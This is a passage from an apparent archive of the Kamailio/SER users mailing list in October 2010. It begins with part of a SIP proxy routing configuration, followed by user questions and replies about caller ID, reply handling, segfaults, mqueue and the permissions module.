----------------------------------------"); exit; } else { xlog('L_INFO', 'XLOG: ACK without matching transaction ... ignore and discard.'); #added by yenkee sl_send_reply("403", "Not Allowed"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } } sl_send_reply("404","Not here"); xlog("L_INFO", "XLOG: 404 Not Here ----------------------------------"); } xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } #initial requests # CANCEL processing if (is_method("CANCEL")) { xlog('L_INFO', 'XLOG: Method is CANCEL'); if (t_check_trans()) t_relay(); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } t_check_trans(); # authentication route(AUTH); setflag(1); # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) record_route(); # account only INVITEs if (is_method("INVITE")) { xlog("L_INFO","XLOG: Method is INVITE"); setflag(1); # do accounting # ----------------------------------------------------------------------------------------- $avp(s:can_uri) = $ru; # Canonical-URI will be used for rating the session xlog("L_INFO", "XLOG: Engaging Media Proxy"); engage_media_proxy(); # Automatically call use_media_proxy / end_media_proxy on every request and reply that belongs to the dialog # ----------------------------------------------------------------------------------------- } if (!uri==myself) /* replace with following line if multi-domain support is used */ ##if (!is_uri_host_local()) { xlog("L_INFO","XLOG: Appeding Hf P-hing: outbound"); append_hf("P-hint: outbound\r\n"); route(RELAY); } # requests for my domain if( is_method("PUBLISH|SUBSCRIBE")) route(PRESENCE); if (is_method("REGISTER")) { if(isflagset(5)) { setbflag("6"); # uncomment next line to do SIP NAT pinging ## setbflag("7"); } if (!save("location")) sl_reply_error(); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } if ($rU==$null) { # request with no Username in RURI sl_send_reply("484","Address Incomplete"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ---------ENABLING SIP TRACE-------------------------------------------------------------- # Enable sip tracing for users in grp siptrace in mysql db ( nema vplyv na zapisovanie acc informacii ) if (is_user_in("From", "siptrace") ) { xlog("L_INFO","XLOG: Starting sip_trace for From-URI:($fu)"); setflag(22); # sip_trace(); # mne sip_trace nefungoval iba setflag , ak sa nastavi flag na hodnotu v modparam bude robit cdr tool sip tracy } # route(PSTN); # ----------------------------------------------------------------------------------------- # apply DB based aliases (uncomment to enable) ##alias_db_lookup("dbaliases"); if (is_method("INVITE")) { #------------BLOCK NUMBER----------------------------------------------------------------- # Block username if ( is_user_in("From", "blocked")) { xlog("L_INFO", "XLOG: [main route] Account ($fu) to ($ru) is blocked"); sl_send_reply("403", " Account blocked "); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- # Call control allows one to limit the duration of calls and automatically end them when they exceed the imposed limit xlog("L_INFO","XLOG: Before call_control() var rm = ($rm)"); call_control(); switch ($retcode) { case 2: # Call with no limit xlog("L_INFO", "XLOG: [call_control] Call with no limit"); break; case 1: # Call with a limit under callcontrol management (either prepaid or postpaid) xlog("L_INFO", "XLOG: [call_control] Call with a limit under callcontrol management"); break; case -1: # Not enough credit (prepaid call) xlog("L_INFO", "XLOG: Call control: not enough credit for prepaid call"); acc_rad_request("402"); sl_send_reply("402", "Not enough credit"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; break; case -2: # Locked by call in progress (prepaid call) xlog("L_INFO", "XLOG: Call control: prepaid call locked by another call in progress"); acc_rad_request("403"); sl_send_reply("403", "Call locked by another call in progress"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; break; default: # Internal error (message parsing, communication, ...) xlog("L_INFO", "XLOG: Call control: internal server error"); acc_rad_request("500"); sl_send_reply("500", "Internal server error"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # Return error message when you are calling on your own number # fU - From username # tU - To username if ($fU==$tU) { sl_send_reply("403","Forbidden calling own number"); xlog("L_INFO","XLOG: Call on your own number: Request-URI:($ru) From-URI:($fu). Sending 403 Forbidden"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- } # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- xlog("L_INFO","XLOG: Performing lookup( location) "); if (!lookup("location")) { switch ($rc) { case -1: case -3: t_newtran(); t_reply("404", "[local failed] Not Found"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; break; # commented - not used with PSTN case -2: sl_send_reply("405", "Method Not Allowed"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # Replacing plus sign with 00 if ($ru=~".*sip:\+.*@.*") { # Check if URI contains plus sign $avp(s:to)=$ru; avp_subst("$avp(s:to)", "/(sip:)\+/sip:00/"); # Replace plus sign with 00 avp_pushto("$ru", "$avp(s:to)"); # Push the value of AVP with name into the SIP message as Request-URI xlog("L_INFO","XLOG: Replacing plus sign in Request-URI ($ru)"); } # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- } # when routing via usrloc, log the missed calls also setflag(2); route(RELAY); } route[RELAY] { xlog("L_INFO", "XLOG: [RELAY] Jumped to route(RELAY)"); #!ifdef WITH_NAT if (check_route_param("nat=yes")) { xlog("L_INFO","XLOG: [RELAY] check_route_param('nat=yes') == 1"); setbflag("6"); } if (isflagset(5) || isbflagset("6")) { xlog("L_INFO","XLOG: [RELAY] isflagset(5) && isbflagset(6)"); route(RTPPROXY); } #!endif # ----------------------------------------------------------------------------------------- /* example how to enable some additional event routes */ if (is_method("INVITE")) { # $avp(s:callee_fr_inv_timer) = 10; xlog("L_INFO", "XLOG: [RELAY] Routing of failure and reply messages"); # t_on_branch("BRANCH_ONE"); t_set_fr(10000); t_on_reply("REPLY_ONE"); t_on_failure("1"); # Registering failure route } if (!t_relay()) { sl_reply_error(); } xlog("L_INFO","XLOG: exiting FROM RELAY ------------------------------------"); exit; } # Presence server route route[PRESENCE] { #!ifdef WITH_PRESENCE if (!t_newtran()) { sl_reply_error(); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; }; if(is_method("PUBLISH")) { handle_publish(); t_release(); } else if( is_method("SUBSCRIBE")) { handle_subscribe(); t_release(); } xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; #!endif # if presence enabled, this part will not be executed if (is_method("PUBLISH") || $rU==$null) { sl_send_reply("404", "Not here"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } return; } # Authentication route route[AUTH] { xlog("L_INFO", "XLOG: Jumped to route[AUTH]"); #!ifdef WITH_AUTH if (is_method("REGISTER")) { xlog("L_INFO","XLOG: [AUTH] Register pred ifom From-URI:($fu)"); # authenticate the REGISTER requests (uncomment to enable auth) if (!www_authorize("", "subscriber")) { xlog("L_INFO", "XLOG: [AUTH] www_challenge()"); www_challenge("", "0"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } if ($au!=$tU) { xlog("L_INFO", "XLOG: [AUTH] Forbidden auth ID From-URI:($fu)"); sl_send_reply("403","Forbidden auth ID"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } } else { # authenticate if from local subscriber (uncomment to enable auth) if (from_uri==myself) { xlog("L_INFO","XLOG: [AUTH] Message is not REGISTER, and from_uri == myself"); if (!proxy_authorize("", "subscriber")) { xlog("L_INFO", "XLOG: [AUTH] proxy_challenge()"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); proxy_challenge("", "0"); exit; } if (is_method("PUBLISH")) { if ($au!=$tU) { sl_send_reply("403","Forbidden auth ID"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } } else { if ($au!=$fU) { sl_send_reply("403","Forbidden auth ID"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } } xlog("L_INFO","XLOG: [AUTH] consumer_credentials()"); consume_credentials(); # caller authenticated } } #!endif return; } # Caller NAT detection route route[NAT]{ #!ifdef WITH_NAT force_rport(); xlog("L_INFO", "XLOG: Checking nat_uac_test('19')"); if (nat_uac_test("19")) { if (method=="REGISTER") { xlog("L_INFO", "XLOG: fix_nated_register()"); fix_nated_register(); } else { xlog("L_INFO", "XLOG: fix_nated_contact()"); fix_nated_contact(); } setflag(5); } #!endif return; } # RTPProxy control route[RTPPROXY] { xlog("L_INFO","XLOG: Jumped to route[RTPPROXY]"); #!ifdef WITH_NAT # if (is_method("BYE")) { # unforce_rtp_proxy(); # } else if (is_method("INVITE")){ # force_rtp_proxy(); # } if (!has_totag()) { add_rr_param(";nat=yes"); xlog("L_INFO","XLOG: Adding RR param(';nat=yes')"); } #!endif return; } # PSTN GW routing route[PSTN] { #!ifdef WITH_PSTN # check if PSTN GW IP is defined if (strempty($sel(cfg_get.pstn.gw_ip))) { xlog("SCRIPT: PSTN rotuing enabled but pstn.gw_ip not defined\n"); return; } # route to PSTN dialed numbers starting with '+' or '00' # (international format) # - update the condition to match your dialing rules for PSTN routing if(!($rU=~"^(\+|00)[1-9][0-9]{3,20}$")) return; # only local users allowed to call if(from_uri!=myself) { sl_send_reply("403", "Not Allowed"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } $ru = "sip:" + $rU + "@" + $sel(cfg_get.pstn.gw_ip); route(RELAY); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; #!endif return; } # Sample branch router branch_route[BRANCH_ONE] { xlog("L_INFO","XLOG: BRANCH ROUTE "); exit; } # Sample onreply route onreply_route[REPLY_ONE] { #xdbg("incoming reply\n"); xlog("L_INFO","XLOG: REPLY ROUTE "); #!ifdef WITH_NAT # if ((isflagset(5) || isbflagset("6")) && status=~"(183)|(2[0-9][0-9])") { # force_rtp_proxy(); # } if (isbflagset("6")) { fix_nated_contact(); } #!endif } # Sample failure route failure_route[1] { #!ifdef WITH_NAT # if (is_method("INVITE") # && (isbflagset("6") || isflagset(5))) { # unforce_rtp_proxy(); # } #!endif xlog("L_INFO","XLOG ****************FAILROUTE*($rm)*S_IP($si)**CallID($ci)********************"); if (t_is_canceled()) { xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- # Forward call on Voicemail when spefified SIP Status Code is returned. Failure route registered using t_on_failure. # 486 - Busy Here # 408 - Request Timeout # 480 Temporarily Unavailable # if (t_check_status("486|408|480")) { if (t_check_status("486|408")) { xlog("L_INFO","XLOG: [failure route] Forwarding on Voicemail"); } # ----------------------------------------------------------------------------------------- }

2 1

Caller ID issue
by Lucas Alvarez 12 Oct '10

12 Oct '10

Hi, I'm having a problem with the caller ID, I have implemented an integration between asterisk and kamailio following this tutorial: http://kb.asipto.com/asterisk:realtime:kamailio-3.0.x-asterisk-1.6.2-astdb and the problem is that when I call from extension, let's say 1000, to another extension, let's say 2000, the callerid number is always the number I'm calling, in this case 2000. Using xlog and printing $fu, $fU variables I realize that when the call came from asterisk to the destination number, kamailio changes the "From" headers. I will appreciate any kind of help. Regards. Lucas

2 3

Stateful vs. stateless replies from script
by Alex Balashov 12 Oct '10

12 Oct '10

Now that K v3.1.0 provides send_reply(), what is the preferred ideology about whether to send stateful or stateless negative error replies? I mean in general, not in specific cases like digest authentication in the new 'auth' module, where, according to the docs, a transaction and stateful replies are required in order for enhanced nonce replay protection. The traditional wisdom in past bodies of scripts and knowledge in the public realm has been, in my interpretation, that stateless replies are acceptable for final negative responses from script[1]. After all, a reply like "404 Not Found" from the proxy is basically fire-and-forget; why devote additional transactional memory to it while the transaction hold-down timer expires? We do not care if we receive an ACK, nor want anything further to do with this branch. On the other hand, there is a point of view out there that mixing stateless and stateful replies is not good, despite the somewhat increased overhead and resource usage associated with making all replies stateful. This perspective emphasises that if the proxy is fundamentally operating in a stateful manner, it should do so with respect to all messages, rather than allowing a large category of replies to slip under the radar of TM and have possibly inconsistent results. For now, I have changed my code to use send_reply() in all cases where sl_send_reply() was used in the past; it seems easier to let Kamailio/SR make the decision. However, in practice, most requests will result in the creation of a transaction, so it is like replacing sl_send_reply() with t_reply() in the majority of cases. Am I missing anything? Any salient considerations I missed? I am curious as to the consensus about the best practice here from the vantage point of the developers. Thanks, -- Alex [1] Except in FAILURE-ROUTEs, from which only stateful replies may be issued. -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

3 6

Seg fault when executing kamailio 3.1.0
by Mino Haluz 12 Oct '10

12 Oct '10

These are some lines from syslog. Where could I find the problem ? Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <load_tm> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_newtran> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_relay_to_tcp> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_relay_to_udp> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_relay> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_forward_nonack> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_release> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: <core> [mem/q_malloc.c:366]: qm_malloc(0xb4ff8000, 24) called from tm: t_hooks.c: insert_tmcb(159) Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: <core> [mem/q_malloc.c:406]: qm_malloc(0xb4ff8000, 24) returns address 0xb516d824 frag. 0xb516d80c (size=24) on 1 -th hit Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <bind_sl> in module sl [/usr/local/lib/kamailio/modules/sl.so] Oct 12 15:13:15 nod2 kernel: [693453.525967] kamailio[23102]: segfault at 0 ip (null) sp bfe37c8c error 4 in kamailio[8048000+1d1000]

2 1

kamailio error in parse message
by hala alramli 12 Oct '10

12 Oct '10

Oct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: ERROR:core:parse_method: invalid character øOct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: INFO:core:parse_first_line: failed to parse the methodOct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: INFO:core:parse_first_line: bad messageOct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: ERROR:core:parse_msg: message=<ø^S1^\^B }^S ¡6 } \216^F^A^O\206^D¡½>Oct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: ERROR:core:receive_msg: parse_msg failed this error keeping appear in my log file ,what is the reason of that ? or what is cussing that?how can i fix that ? thanks for any help

2 1

Development builds for debian and ubuntu available
by Jon Bonilla 12 Oct '10

12 Oct '10

Starting today, Kamailio's debian repository offers nightly development versions of "master" and "3.1" branches for Ubuntu and Debian distributions. Brief summary of the repository status at the moment: * Flavours: Kamailio * Branches: 3.0, 3.1, master * Distributions: Etch (3.0 stable only), Lenny, Squeeze, Lucid * Archs: amd64, i386 * Sources (deb-src) provided for stable releases * Nightly builds of supported branches All the instructions and status updates can be found here: http://www.kamailio.org/dokuwiki/doku.php/packages:debs We hope you will find these dev builds usefull for testing or playing. Sipdoc Team

2 1

error installing ser
by Meftah Tayeb 11 Oct '10

11 Oct '10

hi all, i have error installing ser in centOs 5.5 i am not getting serctl and serdbctl, only sercmd and ser any idea is welcome thank you -- Meftah Tayeb Sales Manager Ove Telecom direct: +13477595883 INUM: +883510001289101 MSN: sqlsrvx86(a)hotmail.com yahoo: vsdevx86 OVETEL USA: +1-212-401-0707 OVETEL UK: +44-20-34110486 OVETEL Ukraine: +380-44-3607309 OVETEL Jordan: +962-6-2508905 OVETEL South Africa: +27-11-4613345 http://www.ovetel.com follow us on Twitter for the latest price updates: http://twitter.com/ovetel

5 11

Problem with ser - INVITE size problem tcp->udp?
by Simone Felici 11 Oct '10

11 Oct '10

Hello to all! I need a little help with our ser installation (ser-2.0.0-rc1). The continuous groving up of our infrastructure and using even more codecs, causes the INVITE (udp) to be over 1500bytes. An external->incoming call to our proxy sip comes in with a size of ~1300 and will be forwarded to the end device (sua) over 1500. Ser is adding more than 200bytes in the udp packet. I can see 'INVITE' from ser to customer, but the INVITE is not answerred due the size. I'm sure about that, because in certain situations, deleting codec list the packet-size goes under the 1500bytes and all works. To main issue is from external calls to ser server to our customers. Calls started from customers to ser and then out are all ok. Now the question: Could the passage from UDP to TCP solve the issue? Could someone give me an example and how implement it into our ser configuration? The atteched configuration, ser on a mysql basis, is working well in expect the issue described. Thank's a lot for your help! Simon

2 5

Size of an mqueue
by Alex Balashov 11 Oct '10

11 Oct '10

According to the documentation, Optional attribute 'size' specifies the maximum number of items in queue, if it is execeeded the oldest one is removed Is this meant to imply that by default, absent this attribute, queues are boundless? Or is there a default size anyway? Thanks, -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

2 1

Question about mqueue
by Alex Balashov 11 Oct '10

11 Oct '10

First, thank you, Ramona, for implementing 'mqueue', and the development team more generally. I got away from 'acc' over the weekend and how use mqueue + rtimer + sqlops for asynchronous CDR logging. Classy! The question is, there a clean, fast way of checking whether there are more items left in the queue to consume? I would have thought mq_fetch() would return when there's nothing else left in the queue, but it doesn't; instead, it throws the script into an infinite loop. :-) So, I am using: route[RECORD_CONSUMER] { while(mq_fetch("somequeue")) { if(! defined $mqk(somequeue)) break; # Do things with $mqk(...) and $mqv(...) } } Is 'defined' a fast-acting operator within route script? Is there a better way? -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

1 2

git repository open for development
by Daniel-Constantin Mierla 11 Oct '10

11 Oct '10

Hello, just in case someone was waiting for a more formal announcement regarding the close of frozen state for GIT repository, then it is now open for new development. Thanks again to all that helped to make stable branch v3.1.x happen. Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Re: [SR-Users] 2 instances of openser
by Daniel-Constantin Mierla 09 Oct '10

09 Oct '10

Hello, don't forget to keep the list cc-ed. Further private emails are ignored. On 10/9/10 9:54 PM, Erico Oliveira wrote: > Hi Daniel, > > First, tanks for the help ! > Look... I tried do it with openser, and I got a error (don't ask > me because I don't remember).... Anyway, I will try again and will go > download the kamalio. > After, I return a feedback to you ! ok. Running several instances of sip proxy was possible since ser 0.x.y, year 2002. Cheers, Daniel > Really tanks ! > > Regard's > > On Sat, Oct 9, 2010 at 3:43 PM, Daniel-Constantin Mierla > <miconda(a)gmail.com <mailto:miconda@gmail.com>> wrote: > > I recommend the same of installing last kamailio version, 1.1.1 > is really really old. > > However, I don't understand why you need to edit the binary with > GHex. You can run kamailio (or older versions that had openser > name) as many times as you want with different configuration > files, just be sure you don't conflict on listening sockets. > > For example: > > /usr/local/sbin/kamailio -f /usr/local/etc/kamailio/kamailio1.cfg > /usr/local/sbin/kamailio -f /usr/local/etc/kamailio/kamailio2.cfg > > Cheers, > Daniel > > > On 10/9/10 4:58 PM, Juha Heinanen wrote: > > Erico Oliveira writes: > > Now, I have almost everything functional (like > freeradius and mediaproxy > and mysql requests), but the Openser can't startup..... > For a while, I copy > his binary (*/usr/local/sbin/openser*) to* > /usr/local/sbin/openserhost* and > change the openser file's content -- where was openser.cfg > now is > openserhost.cfg) -- with a hexadecimal editor (GHex). I > created a > */etc/init.d/openserhost > , /etc/default/openserhost* and a* > /usr/local/etc/openserhost/ *too. > > i suggest that you install latest kamailio package for > distribution of > your choice. then, if your problems still persist, send > another email to > the list. > > -- juha > > _______________________________________________ > SIP Express Router (SER) and Kamailio (OpenSER) - sr-users > mailing list > sr-users(a)lists.sip-router.org > <mailto:sr-users@lists.sip-router.org> > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > > > -- > Daniel-Constantin Mierla > http://www.asipto.com > > -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Failed to start kamailio with permissions module
by Shrouk Khan 09 Oct '10

09 Oct '10

hi all, i am trying to load the permission module in the following manner: loadmodule "permissions.so" #---- permission params ------ modparam("permissions", "db_url", "mysql://openser:openserrw@localhost/openser") modparam("permissions", "db_mode",1) modparam("permissions", "trusted_table", "trusted") and i am getting the following error: ct 9 04:44:25 ubuntu /sbin/kamailio[1469]: WARNING: permissions [permissions.c:604]: default allow file (//etc/kamailio/permissions.allow) not found => empty rule set Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: WARNING: permissions [permissions.c:613]: default deny file (//etc/kamailio/permissions.deny) not found => empty rule set Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: ERROR: permissions [address.c:156]: database problem Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: CRITICAL: permissions [address.c:233]: reload of address table failed Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: ERROR: permissions [address.c:243]: no more shm memory Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: ERROR: permissions [permissions.c:627]: failed to initialize the allow_address function Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: ERROR: <core> [sr_module.c:874]: init_mod(): Error while initializing module permissions any idea what is happening ? -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

4 5

2 instances of openser
by Erico Oliveira 09 Oct '10

09 Oct '10

Hi guys ! I'm new here and I came to the list to try solve a problem first. =) Good.... I have a SIPProxy installed in my machine working with Openser 1.1.1. Now I need to do this SIPProxy answer for 2 different domains and to do something depending of where request came. Now, I have almost everything functional (like freeradius and mediaproxy and mysql requests), but the Openser can't startup..... For a while, I copy his binary (*/usr/local/sbin/openser*) to* /usr/local/sbin/openserhost* and change the openser file's content -- where was openser.cfg now is openserhost.cfg) -- with a hexadecimal editor (GHex). I created a */etc/init.d/openserhost , /etc/default/openserhost* and a* /usr/local/etc/openserhost/ *too. Finally, I edit the "port" (to 5070) and de informations to database connect in new config file. When I try start the software, I get a error like this: *siphost01:/usr/local/etc/openser# /etc/init.d/openserhost start Not starting openserhost: invalid configuration file! siphost01:/usr/local/etc/openser# * Continuing, looking for a log, I see the /var/log/openser/openserhost.log and got: * Oct 9 09:57:17 siphost01 kernel: openserhost[12020]: segfault at 0000000000000004 rip 00000000f7f6696e rsp 00000000ffcccaec error 4 Oct 9 10:04:33 siphost01 kernel: openserhost[12207]: segfault at 0000000000000004 rip 00000000f7fa096e rsp 00000000ffbc49ec error 4 Oct 9 10:05:36 siphost01 kernel: openserhost[12241]: segfault at 0000000000000004 rip 00000000f7f8096e rsp 00000000fff58d7c error 4 Oct 9 10:54:39 siphost01 kernel: openserhost[13443]: segfault at 0000000000000004 rip 00000000f7f7b96e rsp 00000000ffc52a6c error 4* And that is All..... Sorry if I'm doing somethig stupid or if my english is very very bad.... I'm "new" in "Sr world" and I'm brazilian... =) Wait someone helpme with this.... Regards...... Érico Oliveira Solution Manager

3 2

2 instances of OpenSer
by Erico 09 Oct '10

09 Oct '10

Hi guys ! I'm new here and I came to the list to try solve a problem first. =) Good.... I have a SIPProxy installed in my machine working with Openser 1.1.1. Now I need to do this SIPProxy answer for 2 different domains and to do something depending of where request came. Now, I have almost everything functional (like freeradius and mediaproxy and mysql requests), but the Openser can't startup..... For a while, I copy his binary (//usr/local/sbin/openser/) to/ /usr/local/sbin/openserhost/ and change the openser file's content -- where was openser.cfg now is openserhost.cfg) -- with a hexadecimal editor (GHex). I created a //etc/init.d/openserhost , /etc/default/openserhost/ and a/ /usr/local/etc/openserhost/ /too. Finally, I edit the "port" (to 5070) and de informations to database connect in new config file. When I try start the software, I get a error like this: *siphost01:/usr/local/etc/openser# /etc/init.d/openserhost start Not starting openserhost: invalid configuration file! siphost01:/usr/local/etc/openser# * Continuing, looking for a log, I see the /var/log/openser/openserhost.log and got: * Oct 9 09:57:17 siphost01 kernel: openserhost[12020]: segfault at 0000000000000004 rip 00000000f7f6696e rsp 00000000ffcccaec error 4 Oct 9 10:04:33 siphost01 kernel: openserhost[12207]: segfault at 0000000000000004 rip 00000000f7fa096e rsp 00000000ffbc49ec error 4 Oct 9 10:05:36 siphost01 kernel: openserhost[12241]: segfault at 0000000000000004 rip 00000000f7f8096e rsp 00000000fff58d7c error 4 Oct 9 10:54:39 siphost01 kernel: openserhost[13443]: segfault at 0000000000000004 rip 00000000f7f7b96e rsp 00000000ffc52a6c error 4* And that is All..... Sorry if I'm doing somethig stupid or if my english is very very bad.... I'm "new" in "Sr world" and I'm brazilian... =) Wait someone helpme with this.... Regards...... Érico Oliveira Solution Manager

1 0

Re: [SR-Users] Failed to start kamailio with permissions module
by Shrouk Khan 09 Oct '10

09 Oct '10

On Sat, Oct 9, 2010 at 7:22 PM, Shrouk Khan <shroukkhan(a)softverk.is> wrote: > hi, > actually if i make the address table empty , it works. but if i add > any entry to it , it stops working . > my address table looks like this: > > > id grp ip_addr mask port > 3 0 192.168.189.1 32 5060 > > so the mask is the issue ? or the ip address . I am not great with > networking . i am just trying to allow 192.168.189.1 to be able to > send INVITE msg. > > > On Sat, Oct 9, 2010 at 7:13 PM, Iñaki Baz Castillo <ibc(a)aliax.net> wrote: >> >> 2010/10/9 Shrouk Khan <shroukkhan(a)softverk.is>: >> > its kamailio 3.0.3 from : http://www.kamailio.org/pub/kamailio/3.0.3/src/ >> >> And have you checked the netries in "address" table as I have suggested? >> >> >> -- >> Iñaki Baz Castillo >> <ibc(a)aliax.net> > > > > -- > Regards > > Shrouk Khan (Khan) > System Administrator / Telecommunication System Developer > Office: +354 4400807 (Reykjavik) > +44 2031370800 (London) > Mobile: +66 875049439 (Bangkok) > > Web: www.softverk.is > > Reykjavik, Iceland // London, UK // Bangkok, Thailand > -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

2 3

Permission module error
by Shrouk Khan 09 Oct '10

09 Oct '10

hi, i have been trying to use the allow_trusted() to allow or disallow invite request from certain IP address. This is the block that i am using: loadmodule "permission.so" ...... ........ if(is_method("INVITE")){ if(!allow_trusted()){ sl_send_reply("403","Address Not allowed"); exit; } } but trying to restart kamailio after this fails. and from the syslog it says: Oct 9 03:19:49 ubuntu kamailio: ERROR: <core> [sr_module.c:378]: ERROR: load_module: could not find module <permission> in <//lib/kamailio/modules_k/://lib/kamailio/modules/> Oct 9 03:19:49 ubuntu kamailio: : <core> [cfg.y:3330]: parse error in config file //etc/kamailio/kamailio.cfg, line 151, column 12-26: failed to load module Oct 9 03:19:49 ubuntu kamailio: : <core> [cfg.y:3333]: parse error in config file //etc/kamailio/kamailio.cfg, line 356, column 21: unknown command, missing loadmodule?#012 I think i forgot to compile kamailio with the support of permission module . but i do not see it anywhere in the ignore list either. can anyone tell me what could be the problem -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

1 1

Evaluate Perl Return Value in Routing Logic
by "Nicolas Rüger" 08 Oct '10

08 Oct '10

Hello, is there any way to use or evaluate the return-statements of a perl-script in kamailio.cfg? I tried the following in the Routing Logic in kamailio.cfg: if (is_method("INVITE")) { if (perl_exec("my_perl_subroutine") == -1){ xlog("PERL returns -1 \n"); } } Doesn't work. The bad thing is that the return-values of the - perl_exec("XXX") - call are not the same that the perl subroutine "XXX" returns. That's at least what I strongly believe after testing. I do need to read/evaluate the return-value of the perl-subroutine in the Routing Logic to define different routes depending on what the perl-subroutine returns. Is there any way to do that??? Thank you for your help in advance. Regards, Nicolas -- GRATIS für alle GMX-Mitglieder: Die maxdome Movie-FLAT! Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome01

2 5

Regarding SER Listening on two ports
by Saurabh Srivastava 08 Oct '10

08 Oct '10

Hello SER Team, We are using SER as a SIP Server for our purpose. We wan to configure SER to listen on two ports at the same time(i.e. 5060 & some other custom port such as 5090 or something like that). Can you please assist us how can we achieve this, means what changes we need to make such that SER listens on two ports at the same time. Thanks and Best Regards Saurabh Srivastava

2 1

how to check if t_newtran() has already been called?
by Juha Heinanen 07 Oct '10

07 Oct '10

can t_check_trans() be also used to check if t_newtran() has been called on the request earlier in the script? if so, is it so heavyweight thing that it would be better to set a flag when t_newtran() is called and then test the flag? -- juha

1 0

t_relay_cancel usage
by Juha Heinanen 07 Oct '10

07 Oct '10

